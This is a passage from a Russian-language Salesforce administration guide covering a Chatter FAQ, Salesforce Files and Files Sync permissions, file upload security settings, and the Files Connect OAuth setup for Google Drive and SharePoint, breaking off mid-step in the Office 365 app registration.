позволяет составлять отчеты по использованию Chatter во внутренней организации и использованию Chatter в
сообществе.

Администрирование Chatter. Вопросы и ответы

Можно ли объединить несколько организаций Salesforce с помощью сети Chatter?
Сеть Chatter может использоваться только внутри одной организации. Поэтому общение посредством сети Chatter
доступно только пользователям одной и той же организации Salesforce. Тем не менее, люди, находящиеся за пределами
корпоративного домена эл. почты, могут быть добавлены в группы Chatter, принадлежащие или управляемые текущим
пользователем, в качестве клиентов.

Могут ли пользователи портала использовать приложение Chatter?
Приложение Chatter недоступно пользователям портала на партнерских или клиентских порталах. Приложение Chatter
доступно пользователям-клиентам и пользователям-партнерам в сообществах.

Можно ли действовать от имени пользователя Chatter Expert?
АдминистраторможетдеактивироватьпользователяChatter Expertилипубликоватьсообщенияотегоимени. Поумолчанию
Chatter Expert публикует сообщения при добавлении нового пользователя в одну из предложенных групп Chatter на
странице «Группы для участия».

Прим.: Данный алгоритм применяется к организациям, созданным после выпуска Summer'11.

Чтобы деактивировать Chatter Expert, выполните указанные ниже действия.

1. Выберите «Люди» > «Поиск людей».

2. Найдите Chatter Expert.

3. Выберите «Управлять пользователем» > «Деактивировать пользователя».

Чтобы получать и отправлять сообщения от имени Chatter Expert, выполните указанные ниже действия.

1. Выберите «Люди» > «Поиск людей».

2. Найдите Chatter Expert.

3. Укажите собственный адрес эл. почты.
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Можно ли запретить пользователю создавать группы Chatter?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Система позволяет запрещать отдельным пользователям создание групп.

Возможность создания групп (общедоступные, личные или неуказанные) определяется
полномочием «Создание и несение ответственности за новые группы Chatter». Данное
полномочие включено по умолчанию, но может быть выключено администратором в
профилях соответствующих пользователей.

После выключения данного полномочия пользователь не может создавать или брать
ответственность за новые группы Chatter. Ответственность за группы, назначенная
пользователю ранее, сохраняется.

СМ. ТАКЖЕ:

Редактирование профилей в исходном пользовательском интерфейсе профиля

Можно ли изменить расположение лент Chatter с помощью редактора макетов
страниц?
В настоящее время расположение лент Chatter не может быть изменено. Тем не менее, чтобы скрыть ленту, щелкните
ссылку «Скрыть Chatter» в ленте Chatter, а чтобы показать ее — ссылку «Показать Chatter».

Можно ли предотвратить использование в сообщениях Chatter определенных слов?
Нет. СтандартныйинтерфейсChatterнеподдерживаеттакойвозможности. Темнеменее, системаподдерживаетсторонние
приложения (например, Chatter Blacklist). Данное приложение позволяет создавать списки запрещенных слов, фраз и
специальных выражений (например, номера кредитных карт), использование которых в сообщениях и комментариях
Chatter считаетсянедопустимым. Вэтомслучае сообщениеблокируетсяилисохраняется для дальнейшейпроверки, либо
запрещенные слова и фразы заменяются разрешенными.

Служба поддержки Salesforce не предоставляет услуг по устранению неполадок сторонних приложений или пакетов,
кроме случаев, указанных в сведениях о поставщике приложения.

Учитываются ли сообщения и файлы Chatter в ограничениях по объему памяти?
СообщениялентыChatter, отслеживаемыеизмененияикомментариинеучитываютсявограниченияхпообъемухранилища
данных. Однако любые загруженныефайлыифотографииучитываются в ограниченияхпообъему хранилищафайлов.
Файлы, загружаемые на вкладке «Файлы», также учитываются в ограничениях по объему хранилищафайлов.
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Salesforce Files

Добавление связанного списка «Файлы» в макеты страниц

ВЕРСИИ

Доступно в: Salesforce
Classic и Lightning
Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Добавьте связанный список «Файлы» в макеты страниц организаций, возможностей,
интересов, обращений и других объектов для предоставления пользователям права на
добавлениефайлов в записиприиспользованиирасширенныхвозможностей Salesforce
Files. Рекомендуем использовать файлы вместо вложений для предоставления доступа
к файлам вне контекста отдельной записи. Параметры общего доступа по-прежнему
настраиваются ответственным за файл или администратором.

При необходимости дополните макеты страниц связанным списком «Файлы». Данное
действие позволяет пользователям добавлятьфайлы в записи (например, интересыили
обращения) и просматривать списки связанных файлов.

1. Введите строку «Менеджер объектов» в поле «Быстрый поиск» меню «Настройка» и
выберите имя нужного объекта (например, «Возможность»).

2. Щелкните «Макеты страниц».

3. Выберите нужный макет страницы.

4. Щелкните «Связанные списки» в списке доступных элементов на левой боковой панели.

5. Перетащите «Файлы» в раздел «Связанные списки».

6. Нажмите кнопку «Сохранить».

Предотвращение добавления файлов Salesforce

ВЕРСИИ

Доступно в версиях: все
версии.

При необходимости выключите полномочие администратора «Выборфайлов из
системы Salesforce» в профилях пользователей. Отключение этого разрешения
предотвращает выбор пользователями с таким профилем файлов Salesforce во время
вложенияфайлов в сообщения ленты, записи или другие объекты. Полномочие может
быть также применено посредством набора полномочий. Выключение данного
полномочия не препятствует загрузке файлов с локального диска пользователя.

Выключите или включите полномочие пользователя посредством меню «Настройка». Введите строку «Профили
пользователей» в поле «Быстрый поиск» и выберите пункт «Профили». Щелкните ссылку «Правка»напротив нужного
профиля пользователя. Установите или снимитефлажок «Выборфайлов из системы Salesforce» в разделе «Полномочия
администратора». Нажмите кнопку «Сохранить».

Чтобыприменитьполномочиепосредствомнабораполномочий, введитестроку «Наборы полномочий» вполе «Быстрый
поиск» меню «Настройка» и выберитепункт «Наборыполномочий». Отредактируйтенаборразрешенийипримените
разрешение «Выбор файлов из системы Salesforce».
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Salesforce Files Sync

Включение Salesforce Files Sync

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения Salesforce
Files Sync:
• «Настройка

приложения»

Чтобы разрешить пользователям синхронизациюфайлов между устройствами и
системой Salesforce, включите приложение Salesforce Files Sync.

1. Введитестроку «Salesforce Files Sync» вполе «Быстрый поиск» ивыберите
пункт «Salesforce Files Sync».

2. Нажмите кнопку «Правка» внизу страницы «Параметры Salesforce Files Sync».

3. Установите флажок «Включить Files Sync».

4. Нажмите кнопку «Сохранить».

Теперь приложение Salesforce Files Sync включено для организации.

Затем предоставьте пользователям доступ к приложению Salesforce Files Sync.

Предоставление пользователям доступа к приложению Salesforce Files
Sync

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения приложения
Salesforce Files Sync для
пользователей:
• «Настройка

приложения»

Чтобы предоставить пользователям доступ к включенному приложению Salesforce Files
Sync, рекомендуемсоздатьиназначитьнаборполномочийилипредоставитьполномочие
соответствующим профилям.

Предоставление доступа к Salesforce Files Sync посредством набора полномочий
Наборы полномочий — это самый простой способ включения Salesforce Files Sync
для пользователей.

Включение Salesforce Files Sync для профилей
Включите Salesforce Files Sync для всех пользователей отдельных стандартных
профилей или настраиваемых профилей, характерных для организации Salesforce.

Предоставление доступа к Salesforce Files Sync посредством набора полномочий

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания набора
полномочий:
• «Настройка

приложения»

Наборы полномочий — это самый простой способ включения Salesforce Files Sync для
пользователей.

1. Введите строку «Наборы полномочий» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Наборы полномочий».

2. Нажмите кнопку «Создать».

3. Заполните обязательные поля.
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Метка
Уникальная метка набора полномочий. Например, «С поддержкой Salesforce Files Sync».

API-имя
Уникальное имя, используемое интерфейсом Force.com API.

Описание
Описаниеданногонабораполномочий. Например, «ВключениеSalesforce Files Syncдляназначенныхпользователей.
Salesforce Files Sync позволяет пользователям автоматически синхронизировать файлы на устройствах».

4. Выберите лицензию пользователя.

Прим.: Чтобыназначитьданныйнаборполномочийпользователямлицензий SalesforceиChatter Only, выберите
значение «--Нет--».

5. Нажмите кнопку «Сохранить».
При этом отображается страница общих сведений о новом наборе полномочий.

6. Щелкните ссылку «Полномочия системы» в разделе «Система».

7. Нажмите кнопку «Правка» вверху списка «Полномочия системы».

8. Установите флажок «Синхронизацияфайлов».

9. Нажмите кнопку «Сохранить».

Назначьте набор полномочий пользователям, которым должно быть доступно приложение Salesforce Files Sync.

СМ. ТАКЖЕ:

Лицензии набора полномочий

Включение Salesforce Files Sync для профилей

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения Salesforce
Files Sync для профилей:
• «Настройка

приложения»

ВключитеSalesforce Files Syncдля всехпользователейотдельныхстандартныхпрофилей
или настраиваемых профилей, характерных для организации Salesforce.

1. Вразделе «Настройка» введите «Профили» вполе «Быстрый поиск», затемвыберите
«Профили».

2. Выберите нужный профиль.

3. Нажмите кнопку «Правка» на странице сведений о профиле.

4. Установите флажок «Синхронизацияфайлов» в разделе «Полномочия
администратора».

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Профили

Установка Salesforce Files Sync
Чтобы синхронизировать файлы между компьютером и системой Salesforce, рекомендуем установить клиентское
приложение Salesforce Files Sync, доступное для настольных и портативных компьютеров. При необходимости
синхронизированные файлы можно просмотреть посредством приложения Salesforce1.
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Ниже перечислены минимальные требования для использования приложения Salesforce Files Sync.

MacWindowsТребование к системе

Apple® Mac OS X 10.8 Mountain Lion или
более поздней версии

Microsoft® Windows® 7 илиболеепоздней
версии

Поддерживаемые операционные
системы

Процессор Intel® Core™ Duo 1,83 ГГцили
лучше

x86-совместимый процессор 2,33 ГГц
или лучше/процессор Intel® Atom™

1,6 ГГц для нетбуков или лучше

Процессоры

512 МбОЗУ (рекомендуем 1 Гб)512 МбОЗУ (рекомендуем 1 Гб)Память

4 Гб свободного пространства для
операций синхронизации

4 Гб свободного пространства для
операций синхронизации

Жесткий диск

Приложение Salesforce Files Sync может быть загружено прямо из Chatter.

1. Вразделе личных параметров введите «Files Sync» в поле «Быстрый поиск» и выберите пункт «Salesforce Files
Sync». Вам выводится несколько результатов? Выберите тот, который находится в разделе «Личные параметры».

2. Нажмите кнопку «Загрузить».

3. Выполните инструкции по установке для используемой операционной системы.

4. Выполните вход посредством регистрационных данных Salesforce.

СМ. ТАКЖЕ:

Индивидуальная настройка системы Salesforce

Настройка параметров безопасности загрузки файлов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
загрузки файлов:
• «Настройка

приложения»

Из соображений безопасности организация может настраивать способ обработки
некоторых типов файлов, используемый во время загрузки.

Чтобы управлять параметрами загрузки файлов, выполните указанные ниже действия.

1. В разделе «Настройка» введите «Безопасность загрузки файлов» в поле «Быстрый
поиск», затем выберите «Безопасность загрузкифайлов».

2. Нажмите кнопку «Правка».

3. Чтобызапретить загрузкуфайлов, которыемогутпредставлятьугрозубезопасности,
установитефлажок «Запретить загрузку HTML-файлов в качестве вложений или
записей документов».

Данныйпараметрблокирует загрузкуфайловследующихтипов MIME: .html, .htt,
.mht, .svg, .swf, .thtml и .xhtml.

Внимание: Нижеперечисленырекомендациипонастройкеданногопараметра.

• Если организация использует партнерский портал для предоставления
пользователям-партнерам доступа к системе Salesforce, не рекомендуем
включать данный параметр. Включение данного параметра блокирует
настройку внешнего вида партнерского портала.
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• Данный параметр не распространяется на решения, которые не поддерживают HTML-вложения, ишаблоны
эл. почты, которые всегда поддерживают HTML-вложения.

• Установка данногофлажка не влияет на HTML-документы и вложения, загруженные ранее. Тем не менее, при
попытке просмотра HTML-вложения или документа отображается подсказка, предлагающая открыть файл в
обозревателе, сохранить файл на компьютер или отменить данное действие.

4. Настройте алгоритм загрузки для каждого типа файла.

a. «Загрузить» (рекомендуется): загрузка файла любого типа выполняется во всех случаях.

b. «Выполнить в обозревателе»: файл любого типа отображается и выполняется автоматически при просмотре
посредством обозревателя или HTTP-запроса.

c. «Гибрид»: Salesforce Files загружены. Приложения и документы выполняются в обозревателе.

5. Нажмите кнопку «Сохранить».

Советы и рекомендации по администрированию Salesforce Files Sync
Приложение Salesforce Files Sync, включенное для пользователей, предоставляет доступ к инструментам администратора,
позволяющим контролировать показатели использования и уровень доступа.

Просмотр времени и способа использования Salesforce Files Sync
Приложение Salesforce Files Sync, включенноедляпользователей, позволяетпросматриватьчастотуоткрытиянастольного
приложения или способ общего доступа к файлам.

• Входы, выполняемые в настольное приложение Salesforce Files Sync, помечаются в столбце «Приложение» страницы
«Журнал входов» как «Salesforce Files». Чтобы просмотреть данные входы, экспортируйте журнал входов организации
в CSV-файл или создайте настраиваемое списковое представление со столбцом «Приложение».

• Чтобы просмотреть журнал входов отдельного пользователя, воспользуйтесь связанным списком «Журнал входов»
страницы сведений о пользователе.

Отмена доступа к приложению Salesforce Files Sync
Независимоот сложившихсяобстоятельств (например, потеряпортативногокомпьютераилиувольнениеиз компании),
доступ к приложению Salesforce Files Sync может быть отменен несколькими способами.

• Длямобильных устройств: синхронизированныефайлыхранятся в приложении Salesforce1, поэтомупринарушении
мобильной безопасности рекомендуем отменить доступ соответствующего пользователя к приложению Salesforce1.

• Для настольных и портативных компьютеров: Salesforce Files Sync — это устанавливаемое приложение, которое
синхронизируетфайлы, хранящиеся впапке «Salesforce Files Sync», с системой Salesforce. Привыключенииполномочия
«Синхронизация файлов» для отдельного пользователя файлы, доступные в папке «Salesforce Files Sync» данного
пользователя, сохраняются на компьютере, но становятся недоступными для синхронизации с системой Salesforce.
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Чтобы упростить выключение приложения Salesforce Files Sync для отдельныхпользователей, рекомендуем включить
приложение Salesforce Files Sync посредством набора полномочий в записи пользователя взамен включения данной
функции для профилей.

СМ. ТАКЖЕ:

Отслеживание журнала входов

Восстановление предварительного просмотра содержимого или файла

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для восстановления
предварительного
просмотра:
• «Настройка

приложения»

Если содержимое или файл не имеет предварительного просмотра или качество
предварительного просмотра низкое, попробуйте восстановить предварительный
просмотр.

Файл будет добавлен в очередь, пока идет восстановление. Текущий предварительный
просмотрподлежитнезамедлительномуудалению, поэтомувовремяпребыванияфайла
в очереди предварительный просмотр будет недоступен.

Нельзявосстановитьпредварительныйпросмотрзашифрованныхфайлов, защищенных
паролемфайлов, защищенныхоткопированияфайлов PDF, неизвестныхтиповфайлов
и любого файла размером более 25 МБ.

1. В меню «Настройка» введите «Восстановить предварительные просмотры» в поле
«Быстрый поиск», затемвыберите«Восстановитьпредварительныепросмотры».

2. Укажите код документа содержимого или код версии содержимого.

Если указать код документа содержимого, но не указать номер версии, будет
использоваться последняя версия.

Чтобы убедиться, успешно ли восстановлен предварительный просмотр, перейдите к
странице сведений о файле.
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Salesforce Files Connect

Процесс настройки Files Connect

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Files Connect for
cloud-based external data
sources is available in:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Files Connect for
on-premises external data
sources is available for an
extra cost in: Enterprise
Edition, Performance
Edition, Unlimited Edition и
Developer Edition.

Files ConnectпозволяетпользователямSalesforceпросматривать, публиковатьивыполнять
поиск внешних данных из таких систем, как Google Drive или SharePoint. Облачные и
локальные внешние источники данных используют разные процессы настройки.

Совет: Дополнительную информацию, советы и рекомендации по устранению
неполадок см. в Руководстве по настройке и Руководстве пользователя Files Connect.

Включите Files Connect и предоставьте пользователям доступ
ко связанным внешним источникам данных.
1. Включение Salesforce Files Connect для организации.

2. Предоставление пользователям и администраторам доступа к источникам данных
Files Connect.

При использовании облачных источников данных создайте
поставщика проверки подлинности и определите источник.
При использовании Google Drive:

1. Создание поставщика проверки подлинности для Google Drive.

2. Определение внешнего источника данных для Google Drive.

При использовании облачных систем Microsoft:

1. Создание поставщика проверки подлинности для SharePoint Online или OneDrive for Business.

2. Определение внешнего источника данных для SharePoint Online или OneDrive for Business.

При использовании локальных источников данных настройте безопасный агент и
определите источник.

Прим.: Данныйпроцесс требуетприобретениялицензиинабораполномочий «Files Connect длялокальныхвнешних
источников данных». Сведения о лицензиях на набор полномочий см. в справке Salesforce.

1. Настройкабезопасногоагентадля SharePoint 2010 или 2013на сервере Linux или Windows длябезопасногоподключения
системы Salesforce к данным, защищенным брандмауэром.

2. Определение внешнего источника данных для SharePoint 2010 или 2013.

Добавьте внешние данные в глобальный поиск.
Чтобы разрешить пользователям просмотр внешних данных в глобальных поисках Salesforce, рекомендуем создать
внешний объект и предоставить пользователям доступ к его полям. Данное действие является необязательным, но
настоятельно рекомендуемым для интеграции внешних данных с системой Salesforce.
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При использовании индивидуальных источников данных попросите пользователей
выполнять проверку подлинности в системе Salesforce.
При настройке проверки подлинности отдельного пользователя для источника данных посредством профилей или
наборов полномочий попросите авторизованных пользователей ввести регистрационные данные источника данных.

Начните работу с внешними файлами!
Теперьпользователимогутпросматриватьипубликовать внешниефайлыпосредствомвкладки «Файлы» иленты, а также
выполнять их поиск наряду с содержимым Salesforce.

Включение Salesforce Files Connect для организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Files Connect for
cloud-based external data
sources is available in:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Files Connect for
on-premises external data
sources is available for an
extra cost in: Enterprise
Edition, Performance
Edition, Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения Salesforce
Files Connect:
• «Настройка

приложения»

Разрешитепользователямвыполнятьпоискиобмениватьсяфайламиизвнешнихсистем
(например, Google Drive и SharePoint). Чтобы завершить процесс, необходимо включить
Chatterкакдляорганизации, такидляпрофиляадминистратора, которыйбудетвыполнять
эти шаги.

1. В разделе «Настройка» введите «Параметры Files Connect» в поле «Быстрый
поиск», затем выберите «Параметры Files Connect».

2. Нажмите кнопку «Правка» и установите флажок «Включить Files Connect».

3. Выберите нужный режим общего доступа к файлам.

• «Копия»: данный режим сохраняет копию внешнихфайлов в системе Salesforce.
При предоставлении общего доступа группе Chatterфайлы доступны всем
участникам группы, несмотря на возможную недоступность внешней системы.

• «Ссылка»: данныйрежимуказываетна внешниефайлы, хранящиеся вне системы
Salesforce. Chatterнебудетподдерживатьпредварительныепросмотры, а загрузки
файловбудутвыполнятьсяприналичиидоступапользователяквнешнейсистеме.
(Пользователи должны ввести регистрационные данные для системы в разделе
«Параметры проверки подлинности для внешних систем» страницы «Личные
параметры».)

Совет: Чтобы разрешить организации совместное использование файлов с
внешними клиентами или партнерами, выберите режим «Копия». Чтобы
сохранить ограничения доступа из внешней системы в системе Salesforce,
выберите режим «Ссылка».

Независимо от выбранного режима общего доступа, Chatter не будет отображать
исправления файлов во внешних системах. Тем не менее режим «Ссылка» указывает на
последние версии в данных системах.

СМ. ТАКЖЕ:

Процесс настройки Files Connect

Предоставление пользователям и администраторам доступа к источникам данных Files Connect
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Предоставление пользователям и администраторам доступа к источникам
данных Files Connect

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Files Connect for
cloud-based external data
sources is available in:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Files Connect for
on-premises external data
sources is available for an
extra cost in: Enterprise
Edition, Performance
Edition, Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Длянастройкиполномочий:
• «Настройка

приложения»

После включения Files Connect рекомендуем предоставить пользователям и
администраторам полномочия для доступа к определенным внешним источникам
данных из системы Salesforce.

Совет: Хотя вы можете предоставить доступ к источникам данных через наборы
полномочий или профилей, наборы разрешений позволяют быстрее настроить
доступ для нескольких типов пользователей. Вне зависимости от выбранного
метода у администраторов должен быть доступ, необходимый для настройки
источников данных.

1. Вразделе «Настройка» введите «Наборы полномочий» вполе «Быстрый поиск», затем
выберите«Наборыполномочий»иливведите «Профили» вполе «Быстрый поиск»,
затем выберите «Профили».

2. Создайте новый набор полномочий или профиль либо щелкните по уже
существующему.

Есливыбудетеиспользоватьнаборполномочий, параметр «Лицензияпользователя»
должен иметь значение по умолчанию — «Отсутствует».

3. Длянабораполномочийщелкните«Системныеполномочия», послечегощелкните
«Изменить».

Дляпрофилящелкните«Изменить», послечегопрокрутитедораздела «Полномочия
администратора».

4. Выполните любое из указанных ниже действий и нажмите кнопку «Сохранить».

• Чтобы получить доступ к облачным источникам данных (например, SharePoint
Online), установите флажок «Облачная версия Files Connect».

• Чтобы получить доступ к локальным источникам данных (например, SharePoint
2010 или 2013), установите флажок «Локальная версия Files Connect».

Прим.: Локальноеполномочиедоступноприприобретениилицензиинабора
полномочий «Files Connect длялокальныхвнешнихисточниковданных». Чтобы
включить лицензию для организации, просмотрите краткие инструкции в
справке Salesforce.

5. Чтобы выбрать набор полномочий, щелкните «Управление назначениями» на панели инструментов наверху
страницы. Затем щелкните «Добавить назначения», выберите пользователей для этого набора полномочий и
щелкните «Назначить».

Важное замечание: Добавьте любого администратора, которому требуется настройка внешних источников
данных.

6. При необходимости определите внешние источники данных для организации.

• Определение внешнего источника данных для SharePoint Online или OneDrive for Business

• Определение внешнего источника данных для SharePoint 2010 или 2013

• Определение внешнего источника данных для Google Drive
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Прим.: Привыборе типа удостоверения «Названныйсубъект» дляисточникаданныхпропуститедействияниже.
При выборе типа удостоверения «На пользователя» выполните указанные ниже действия.

7. В разделе «Настройка» вернитесь на страницу сведений набора полномочий или профиля. Затем выполните одно
из указанных ниже действий.

• Прииспользованиинабораполномочийвразделе «Приложения» нажмитекнопкуДоступквнешнемуисточнику
данных.

• Прииспользованиипрофиляперейдитексвязанномусписку «Включенныйдоступквнешнемуисточникуданных».

8. ЩелкнитеИзменить, добавьте конкретныеисточникиданныхв список «Включенные» внешниеисточникиданных,
затем щелкнитеСохранить.

(Пользователи вводят свои регистрационные данные при первоначальном доступе к внешним источникам данных
или из личных параметров на странице «Параметры проверки подлинности для внешних систем».)

СМ. ТАКЖЕ:

Процесс настройки Files Connect

Включение Salesforce Files Connect для организации

Наборы полномочий

Профили

Создание поставщика проверки подлинности для Google Drive

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания поставщиков
проверки подлинности:
• «Настройка

приложения»

И

«Управление
поставщикамипроверки
подлинности»

Чтобы использовать Google Drive в качестве внешнего источника данных, рекомендуем
создать соответствующего поставщика проверки подлинности в системе Salesforce.
Чтобы начать данный процесс, создайте связанный проект на консоли разработчика
Google.

Создание проекта на консоли разработчика Google
1. Выполните вход на консоль

https://console.developers.google.com/project, используя учетные
данные аккаунта администратора Google App.

2. Нажмите кнопку Create Project.

3. Введите имя проекта и нажмите кнопку Create.

4. Напанелипроектащелкните«Включитьиуправлять API», чтобыполучитьдоступ
к менеджеру API.

5. В менеджере API перейдите на вкладку Google API и начните поиск «Drive API».

6. Щелкните «Drive API» в результатах поиска, затем нажмите на «Включить API».

7. Щелкните «Учетные данные» в меню слева.

8. На вкладке «OAuth Consent Screen» введите нужный адрес электронной почты и имя
продукта. Затем нажмите кнопку «Сохранить».

9. На вкладке «Учетные данные» щелкните «Добавить учетные данные» и выберите
«OAuth 2.0 client ID».
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10. Выберите «Веб-приложение» ищелкните «Создать».

11. Скопируйте значения Client ID и Client Secret в текстовыйфайл. Данные значения будут использоваться при создании
поставщика проверки подлинности в системе Salesforce.

Создание поставщика проверки подлинности в системе Salesforce
1. В разделе «Настройка» введите «Поставщики проверки подлинности» в поле «Быстрый поиск», затем выберите

«Поставщики проверки подлинности».

2. Нажмите кнопку «Создать».

3. Выберите значение «Open ID Connect» для параметра «Тип поставщика», а затем заполните поля ниже.

• «Имя»: введите имя, которое должно отображаться в системе Salesforce.

• «Индекс URL-адреса»: введите индекс, который должен отображаться в конце пути URL-адреса. Например в пути
https://login.salesforce.com/services/authcallback/00Dx00000000001/MyGoogleProvider
суффикс — «MyGoogleProvider»

• «Ключ пользователя»: введите значение Client ID, скопированное при создании проекта Google.

• «Секрет пользователя»: введите значение Client Secret, скопированное при создании проекта Google.

• «URL-адрес конечной точки авторизации»: введите URL-адрес
https://accounts.google.com/o/oauth2/auth?access_type=offline&approval_prompt=force.

• «URL-адрес конечной точки маркера»: введите URL-адрес
https://accounts.google.com/o/oauth2/token.

• «Стандартные области»: введите профиль эл. почты openid

(https://www.googleapis.com/auth/drive).

4. Нажмите кнопку «Сохранить». Затем скопируйте значение поля «URL-адрес обратного вызова», расположенного
внизу страницы сведений о поставщике проверки подлинности, в текстовыйфайл. (Данное значение будет
использоваться при редактировании проекта Google.)

Редактирование проекта на консоли разработчика Google
1. В менеджере API щелкните «Учетные данные» в меню слева.

2. Щелкните по ранее созданному веб-приложению.

3. Враздел «Авторизованный URI перенаправления» добавьте URL-адресобратноговызова, скопированныйприсоздании
поставщика проверки подлинности в системе Salesforce.

4. Нажмите кнопку «Сохранить».
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Определение внешнего источника данных для Google Drive

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения внешнего
источника данных:
• «Настройка

приложения»

Предоставьте пользователям Chatter доступ к содержимому Google Drive посредством
вкладки «Файлы», сообщенийлентыипоиска. Система Salesforce поддерживаетдокументы,
таблицы, презентации и рисунки Google.

1. Введите строку «Внешние источники данных» в поле «Быстрый поиск» в меню
«Настройки», затем выберите пункт «Внешние источники данных».

2. Нажмите кнопку «Создать внешний источник данных». Затем заполните поля
ниже.

ОписаниеПоле

Понятное имя источника данных,
отображаемое в пользовательском
интерфейсе Salesforce.

Метка

Уникальный идентификатор,
используемый для обращения к
определению внешнего источника
данных посредством API. Поле «Имя»
может содержать только буквы, цифры
и символы подчеркивания. Имя должно
быть уникальным и начинаться с буквы;
не может содержать пробелов и двух

Имя

последовательных символов
подчеркивания, а также не может
заканчиватьсясимволомподчеркивания.

Выберите значение «Files Connect:
Google Drive».

Тип

Тип удостоверения, используемый для
проверки подлинности внешнего
источника данных.

Выберите значение«Напользователя»,
предоставляющее доступ к источнику

Тип удостоверения

данных после ввода регистрационных
данных каждого пользователя.
(Администраторы должны включить
источник данных для конкретных
наборовполномочийипрофилей. Затем
пользователи вводят свои
регистрационные данные при
первоначальном доступе к источнику
данных.)

Выберите значение «Названный
субъект», позволяющее использовать
один набор регистрационных данных
для каждого пользователя,
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ОписаниеПоле

просматривающего источник данных из системы
Salesforce.

Протокол, используемый для доступа к Google Drive.

Выберите значение «OAuth 2.0».

Протокол проверки подлинности

Введитепоставщикапроверкиподлинности Google Drive.Поставщик проверки подлинности

Пропустите данное поле.Область

Чтобы немедленно протестировать параметры выше,
установите данныйфлажок.

Начать процесс проверки подлинности при сохранении

Создание поставщика проверки подлинности для SharePoint Online или
OneDrive for Business

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания поставщиков
проверки подлинности:
• «Настройка

приложения»

И

«Управление
поставщикамипроверки
подлинности»

Чтобыиспользоватьоблачныйвнешнийисточникданных Microsoft, рекомендуемсоздать
соответствующего поставщика проверки подлинности в системе Salesforce и
зарегистрировать данного поставщика в приложении Office 365.

Чтобы полностью настроить поставщика проверки подлинности, выполните
перечисленные ниже действия.

1. Создание поставщика проверки подлинности посредством значений структурных
нулей

2. Регистрация приложения Office 365

3. Редактирование поставщика проверки подлинности

Создание поставщика проверки подлинности посредством
значений структурных нулей
1. Вразделе «Настройка» введите «Поставщики проверки подлинности» в поле «Быстрый

поиск», затем выберите «Поставщики проверки подлинности».

2. Нажмите кнопку «Создать».

3. Выберите значение «Microsoft Access Control Service» для параметра «Тип
поставщика», а затем заполните поля ниже.

• «Имя»: введите имя, которое должно отображаться в системе Salesforce.

• «Индекс URL-адреса»: введите индекс, который должен отображаться в конце
пути URL-адреса. По умолчанию индекс соответствует значению поля «Имя».

• «Ключ пользователя»: введите значение структурного нуля.

• «Секрет пользователя»: введите значение структурного нуля.

• «URL-адрес конечной точки авторизации»: введите структурный нуль, начинающийся с протокола https.
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• «URL-адрес конечной точки маркера»: введите структурный нуль, начинающийся с протокола https.

• «Стандартные области»: пропустите данное поле.

4. Нажмите кнопку «Сохранить». Затем скопируйте значение поля «URL-адрес обратного вызова», расположенного
внизу страницы сведений о поставщике проверки подлинности, в текстовыйфайл. (Данное значение будет
использоваться при регистрации приложения Office 365.)

Регистрация приложения Office 365
1. Выполните вход в приложение Office365 от имени администратора и откройте один из URL-адресов ниже.

SharePoint Online
https://[название компании].sharepoint.com/[путь к семейству
сайтов]/_layouts/15/appregnew.aspx

OneDrive for Business
https://[название компании]-my.sharepoint.com/_layouts/15/appregnew.aspx

2. Заполните поля ниже.

• «Тип приложения»: выберите значение «Приложение, работающее на веб-сервере».

• «Код клиента»: щелкните «Создать» и скопируйте созданное значение в текстовыйфайл.

• «Секрет клиента»: щелкните «Создать» и скопируйте созданное значение в текстовыйфайл.

• «Заголовок»: введите имя приложения.

• «Домен приложения»: введите имя домена, используемое организацией Salesforce.

• «URL-адрес перенаправления»: введите URL-адрес обратного вызова, скопированный при создании поставщика
проверки подлинности в системе Salesforce.

3. Нажмите кнопку «Создать».

Теперь настройте созданное приложение для доступа к ресурсам SharePoint.

4. Откройте один из URL-адресов ниже.

SharePoint Online
https://[название компании].sharepoint.com/[путь к семейству сайтов]/_layouts/15/appinv.aspx

OneDrive for Business
https://[название компании]-my.sharepoint.com/_layouts/15/appinv.aspx

